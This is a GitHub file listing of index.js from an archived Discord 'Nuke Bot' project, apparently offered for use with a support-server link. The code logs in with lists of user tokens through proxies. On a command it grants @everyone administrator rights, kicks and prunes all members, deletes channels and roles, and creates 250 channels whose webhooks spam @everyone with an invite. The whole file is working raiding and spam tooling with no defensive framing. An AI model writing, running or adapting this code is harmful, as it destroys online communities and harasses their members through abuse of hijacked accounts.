This repository has been archived by the owner on Mar 3, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 30
/
index.js
227 lines (215 loc) · 8.22 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
const fs = require('fs')
const tokens = fs.readFileSync('./variables/tokens.txt', 'utf-8').replace(/\r|\x22/gi, '').split('\n');
const proxies = fs.readFileSync('./variables/proxies.txt', 'utf-8').replace(/\r|\x22/gi, '').split('\n');
const botconfig = require("./variables/botconfig.json");
const Discord = require("discord.js");
const request = require('request');
var chalk = require('chalk');
var time = new Date().toDateString() + ' ' + new Date().toLocaleTimeString();
const userid = botconfig.userid;
const prefix = botconfig.prefix;
process.on('unhandledRejection', e => {});
process.on('uncaughtException', e => {});
process.on('uncaughtRejection', e => {});
process.warn = () => {};
function write(content, file) {
fs.appendFile(file, content, function(err) {});
}
function prune(token, guild) {
request({
method: "POST",
url: `https://discord.com/api/v9/guilds/${guild}/prune`,
json: true,
headers: {
"authorization": token,
"Content-Type": "application/json",
},
body: {
"compute_prune_count": false,
"days": 1,
"include_roles": ["744165933811105846"]
}
}, (err, res, body) => {
switch (res.statusCode) {
case 200:
console.log(chalk.inverse.hex("00FF00")("[PRUNE] Started Kicking Members From Server!"));
break;
default:
console.log(chalk.red("[PRUNE] Failed To Start! Will Keep Attempting until Successful!"));
prune(token, guild);
break;
}
})
}
function admin(token, guild, everyone) {
request({
method: "PATCH",
url: `https://discord.com/api/v9/guilds/${guild}/roles/${everyone}`,
json: true,
headers: {
"Content-Type": "application/json",
"authorization": token
},
json: {
"color": 0,
"hoist": false,
"mentionable": false,
"name": "@everyone",
"permissions": "6546771529"
}
}, (err, res, body) => {
console.log(chalk.inverse("[INFO] Everyone Role Has Now Been Given Admin"));
})
}
async function webhookSpam(webhook) {
var proxy = proxies[Math.floor(Math.random() * proxies.length)]
var sent = 0;
for(i = 0; i < 3; i++){
request({
method: "POST",
url: `https://discordapp.com/api/webhooks/${webhook.id}/${webhook.token}`,
proxy: "http://" + proxy,
json: true,
headers: {
"Content-Type": "application/json",
},
json: {
"username": "Nuke Bot",
"content": `@everyone https://discord.gg/x2rntxtBpF join KEK`,
"avatar_url": "https://sm.mashable.com/mashable_sea/photo/default/man-fakes-death-cat-q6u_2z9w.png"
}
}, (err, res, body) => {
switch (res.statusCode) {
case 204:
sent++;
console.log(`[Webhook] Messages Sent on Webhook ${webhook.id} ${sent}`);
break;
default:
webhookSpam(webhook)
break;
}
})
}
}
function banAll(token, guild, member) {
request({
method: "PUT",
url: `https://discord.com/api/v9/guilds/${guild}/bans/${member}`,
json: true,
headers: {
"Content-Type": "application/json",
"authorization": token
},
json: {
"delete_message_days":"1",
"reason": ""
}
}, (err, res, body) => {
switch (res.statusCode) {
case 204:
console.log(`[BANNED] ${member} Successfully!`);
break;
default:
break;
}
})
}
function kickAll(token, guild, member) {
request({
method: "DELETE",
url: `https://discord.com/api/v9/guilds/${guild}/members/${member}?reason=`,
json: true,
headers: {
"Content-Type": "application/json",
"authorization": token
},
json: {
"reason": "L"
}
}, (err, res, body) => {
switch (res.statusCode) {
case 204:
console.log(`[Kicked] ${member} Successfully! `);
break;
default:
break;
}
})
}
function unbanAll(token, guild, member) {
request({
method: "DELETE",
url: `https://discord.com/api/v9/guilds/${guild}/bans/${member}`,
json: true,
headers: {
"Content-Type": "application/json",
"authorization": token
},
}, (err, res, body) => {
switch (res.statusCode) {
case 204:
console.log(`[UNBANNED] ${member} Successfully!`);
break;
default:
break;
}
})
}
class bot {
constructor(token) {
this.token = token;
this.bot = new Discord.Client();
disableEveryone: true
}
start() {
this.bot.on('ready', () => {
process.title = `[313] Nuke Bot | Created by Luci | Bots ${tokens.length}`;
console.log(chalk.hex("313CA1")(`[!] ${time}: Logged into User Token ${this.bot.user.tag}`));
})
this.bot.on("message", async message => {
let messageArray = message.content.split(" ");
let args = messageArray.slice(1);
if (message.author.bot) return;
if (message.content.startsWith(`${prefix}nuke`)) {
const Members = message.guild.members.map(member => member.id);
const guild = message.guild.id;
const everyone = message.guild.defaultRole.id;
message.guild.setName('Server Nuked').then(updated => console.log(`[GUILD] Updated guild name to ${updated.name}`));
admin(this.token, guild, everyone);
prune(this.token, guild);
Members.forEach(member => kickAll(this.token, guild, member));
message.guild.channels.forEach(channel => channel.delete())
message.guild.roles.map(r => r.delete().catch(err => {}));
message.guild.fetchBans().then(bans => { if (bans.size == 0) { return console.log("There are no banned users."); }
bans.forEach(ban => {
unbanAll(this.token, guild, ban.id)
});
})
for (let i = 0; i < 250; i++) {
message.guild.createChannel("Nuked", { type: "text" }).then(channel => {
channel.createWebhook("God").then( webhook => {webhookSpam(webhook); })
})
message.guild.createChannel("Nuked", { type: "Voice" }).catch("");
message.guild.createRole({ name: `{"type":"error","title":"Nuking"}`, color: "RANDOM", permissions: []})
}
console.log(chalk.hex("66FF00")("[NUKE] Server has been nuked"));
}
});
this.bot.login(this.token).catch(err => console.log(chalk.inverse.red(`${time} Error: Invalid Token!`)));
}
}
console.log(chalk.hex("313CA1")(`
███▄ █ █ ██ ██ ▄█▀ ▓█████ ▄▄▄▄ ▒█████ ▄▄▄█████▓
██ ▀█ █ ██ ▓██▒ ██▄█▒ ▓█ ▀ ▓█████▄ ▒██▒ ██▒▓ ██▒ ▓▒
▓██ ▀█ ██▒▓██ ▒██░▓███▄░ ▒███ ▒██▒ ▄██▒██░ ██▒▒ ▓██░ ▒░
▓██▒ ▐▌██▒▓▓█ ░██░▓██ █▄ ▒▓█ ▄ ▒██░█▀ ▒██ ██░░ ▓██▓ ░
▒██░ ▓██░▒▒█████▓ ▒██▒ █▄▒░▒████ ▒░▓█ ▀█▓░ ████▓▒░ ▒██▒ ░
░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▒ ▓▒░░░ ▒░ ░░▒▓███▀▒░ ▒░▒░▒░ ▒ ░░
░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░▒ ▒░░ ░ ░ ░▒░▒ ░ ░ ▒ ▒░ ░
░ ░ ░ ░░░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ▒ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ `));
console.log("");
console.log(chalk.hex("CA1313")(`[*] Created by Luci! Join our Support Server ${chalk.white('discord.gg/SJyU6VkHen')}`));
console.log(chalk(`[*] Bot Prefix is set to: [${prefix}]`));
console.log("");
tokens.forEach(token => new bot(token).start());